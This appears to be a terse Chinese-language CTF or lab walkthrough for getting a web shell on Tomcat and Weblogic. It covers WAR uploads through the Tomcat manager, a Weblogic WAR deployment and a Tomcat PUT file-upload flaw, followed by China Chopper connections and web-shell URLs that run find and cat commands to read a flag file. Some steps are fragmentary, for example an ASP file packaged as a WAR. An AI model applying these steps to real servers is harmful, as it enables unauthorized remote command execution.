tomcat ,Weblogic

tomcat ,Weblogic

Tomcat上传war

打开网站

访问http://www.whalwl.host:18081/manager/html


将shell.asp通过Java压缩为shell.war


访问http://www.whalwl.host:18081/shell/shell.jsp

用菜刀连接

Weblogic

改为kkk

压缩上述3个文件成kkk.zip 将kkk.zip给为kkk.war

将kkk.war上传

http://www.XXXXXXX/kkk/123.jsp?pass=chopper&cmd=find . -name "*.txt"

http://www.xxxx/kkk/123.jsp?pass=chopper&cmd=cat ./servers/AdminServer/tmp/_WL_user/_appsdir_hello_war/hnt8u/war/this_is_flag7cd3d2fc9cec6901.txt

Tomcat 任意文件上传

打开网页
http://www.xxxxxx/

打开burp抓包

用PUT上传abc.txt 因为上传的是txt文件

上传jsp木马

访问

菜刀连接